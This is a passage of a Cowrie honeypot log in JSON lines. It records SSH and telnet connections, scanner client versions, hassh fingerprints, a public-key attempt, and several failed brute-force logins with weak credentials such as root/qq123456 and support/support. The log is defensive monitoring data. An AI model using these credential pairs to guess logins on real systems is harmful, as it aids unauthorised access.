message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:44:38.319121Z","src_ip":"94.26.106.201","session":"26afdfa403a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"support","password":"support","message":"login attempt [support/support] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:44:38.498718Z","src_ip":"94.26.106.201","session":"26afdfa403a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:44:39.591523Z","src_ip":"94.26.106.201","session":"26afdfa403a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.316958904266357,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:44:43.138927Z","src_ip":"36.26.98.79","session":"f3892d01e0bc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":56026,"dst_ip":"10.17.0.5","dst_port":22,"session":"c4c5c8466b7c","protocol":"ssh","message":"New connection: 77.94.47.83:56026 (10.17.0.5:22) [session: c4c5c8466b7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:44:44.650256Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:44:44.655016Z","src_ip":"77.94.47.83","session":"c4c5c8466b7c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:44:44.789969Z","src_ip":"77.94.47.83","session":"c4c5c8466b7c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qq123456","message":"login attempt [root/qq123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:44:45.168654Z","src_ip":"77.94.47.83","session":"c4c5c8466b7c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:44:46.297156Z","src_ip":"77.94.47.83","session":"c4c5c8466b7c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":49052,"dst_ip":"159.203.135.109","dst_port":22,"session":"217a364ef1f5","protocol":"ssh","message":"New connection: 46.19.67.181:49052 (159.203.135.109:22) [session: 217a364ef1f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:44:54.389473Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.235.24.10","src_port":64796,"dst_ip":"159.203.135.109","dst_port":22,"session":"21d67656fff7","protocol":"ssh","message":"New connection: 198.235.24.10:64796 (159.203.135.109:22) [session: 21d67656fff7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:45:07.682206Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-ZGrab ZGrab SSH Survey","message":"Remote SSH version: SSH-2.0-ZGrab ZGrab SSH Survey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:45:08.649831Z","src_ip":"198.235.24.10","session":"21d67656fff7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"dd9bcf093c355da7000132131cb36fd0","hasshAlgorithms":"diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se;hmac-md5-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-ripemd160-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,hmac-md5,hmac-sha1,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96;none,zlib@openssh.com,zlib","kexAlgs":["diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-rsa-cert-v00@openssh.com","ssh-dss-cert-v00@openssh.com","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","aes192-cbc","aes256-cbc","arcfour","rijndael-cbc@lysator.liu.se"],"macCS":["hmac-md5-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-ripemd160-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","hmac-md5","hmac-sha1","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-ripemd160","hmac-ripemd160@openssh.com","hmac-sha1-96","hmac-md5-96"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: dd9bcf093c355da7000132131cb36fd0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:45:09.746148Z","src_ip":"198.235.24.10","session":"21d67656fff7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.136.152","src_port":39980,"dst_ip":"10.17.0.5","dst_port":22,"session":"412f2e54681e","protocol":"ssh","message":"New connection: 43.156.136.152:39980 (10.17.0.5:22) [session: 412f2e54681e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:45:13.004965Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:45:13.009790Z","src_ip":"43.156.136.152","session":"412f2e54681e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:45:13.245729Z","src_ip":"43.156.136.152","session":"412f2e54681e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.108.118.91","src_port":47328,"dst_ip":"10.17.0.5","dst_port":22,"session":"d5d6b3191e1f","protocol":"ssh","message":"New connection: 89.108.118.91:47328 (10.17.0.5:22) [session: d5d6b3191e1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:45:16.888011Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:45:16.893544Z","src_ip":"89.108.118.91","session":"d5d6b3191e1f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:45:17.048422Z","src_ip":"89.108.118.91","session":"d5d6b3191e1f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"austin","message":"login attempt [root/austin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:45:17.123889Z","src_ip":"43.156.136.152","session":"412f2e54681e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fynjybyf","message":"login attempt [root/fynjybyf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:45:17.486650Z","src_ip":"89.108.118.91","session":"d5d6b3191e1f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.3","message":"Connection lost after 10.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:45:17.952687Z","src_ip":"198.235.24.10","session":"21d67656fff7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.4","message":"Connection lost after 5.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:45:18.362449Z","src_ip":"43.156.136.152","session":"412f2e54681e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:45:18.638477Z","src_ip":"89.108.118.91","session":"d5d6b3191e1f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.143.61.84","src_port":48714,"dst_ip":"10.17.0.5","dst_port":22,"session":"0a0540fa800e","protocol":"ssh","message":"New connection: 37.143.61.84:48714 (10.17.0.5:22) [session: 0a0540fa800e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:45:18.781033Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:45:18.789204Z","src_ip":"37.143.61.84","session":"0a0540fa800e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:45:18.896847Z","src_ip":"37.143.61.84","session":"0a0540fa800e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admintest","message":"login attempt [root/admintest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:45:20.296750Z","src_ip":"37.143.61.84","session":"0a0540fa800e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:45:21.800301Z","src_ip":"37.143.61.84","session":"0a0540fa800e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.243.246","src_port":44606,"dst_ip":"10.17.0.5","dst_port":22,"session":"447cfd9c1307","protocol":"ssh","message":"New connection: 192.169.243.246:44606 (10.17.0.5:22) [session: 447cfd9c1307]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:45:40.369321Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:45:40.374343Z","src_ip":"192.169.243.246","session":"447cfd9c1307","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:45:40.449787Z","src_ip":"192.169.243.246","session":"447cfd9c1307","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"altec","message":"login attempt [root/altec] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:45:40.785186Z","src_ip":"192.169.243.246","session":"447cfd9c1307","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:45:41.863760Z","src_ip":"192.169.243.246","session":"447cfd9c1307","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.131.188","src_port":32938,"dst_ip":"10.17.0.5","dst_port":22,"session":"15440477a7fb","protocol":"ssh","message":"New connection: 176.65.131.188:32938 (10.17.0.5:22) [session: 15440477a7fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:45:43.395864Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:45:43.400642Z","src_ip":"176.65.131.188","session":"15440477a7fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:45:43.505432Z","src_ip":"176.65.131.188","session":"15440477a7fb","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"df:d9:90:70:64:68:43:9c:65:4d:79:42:c2:1c:a3:1e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQNCbBWgVNZBJTqSb79axozG0U37RgrMe0R1g+1yHqG6etAXn4sKTretEC01+dVKXQ4iLuRtHAA+gELLCXhEoa9zaCV6jNIlg5RLMn+p8QG92fXLP06N6CuJlpVRzBcNz3mtaWsU8xl1NQCsK836DWPZzcMQS7zysQcw7TvzgN8dA32f2e/uOGP6/4aN8lqCAq+2pVbMb3q3ckCFtEp88c6RRs9mYxqmc47abg8vJa9ahAY0GOpGZ+Rtq2ckzVbKmv03LEFs5PYbaORQVZUtcU29DNRZo2YfCfzF5c6VZTIbUOSYQVzqznBkBno3x6UhXowGpdD/M6ugKKkB4dvmIhHIGGcmD9gm3rOnuq00WhP4N7x4V0ddOuEMiTdW/H4GbXJKfhW3sVQB8/HVOuMr7aqf0ypsyi11v2IhaTP6+nuUlQB82beCdaGx2EDWXbvYaS0MLSoKBFXnVbleMQHpKVL7qGayA5Axb+Lqqd8S0wq+oyfPHINRR/7dwIepveP+LAq9UcM8clKGO69rLxZH/Krk+uZGX9iijtGMxs9B8rXsrLZW+617Z3Yseduk2hC4CPmiMj7Gl/XrQJmq7Z1mdnFQhg0x1L/iMwqV5qBPwYEiqsrHCt8zOAnXdrKcqKgBSQV92VjK5Eon16kRNSX9Nk6U9k3sGoUJm5xvPgaGYT6Hfw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint df:d9:90:70:64:68:43:9c:65:4d:79:42:c2:1c:a3:1e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:45:43.989679Z","src_ip":"176.65.131.188","session":"15440477a7fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"df:d9:90:70:64:68:43:9c:65:4d:79:42:c2:1c:a3:1e","key":"ssh-rsa 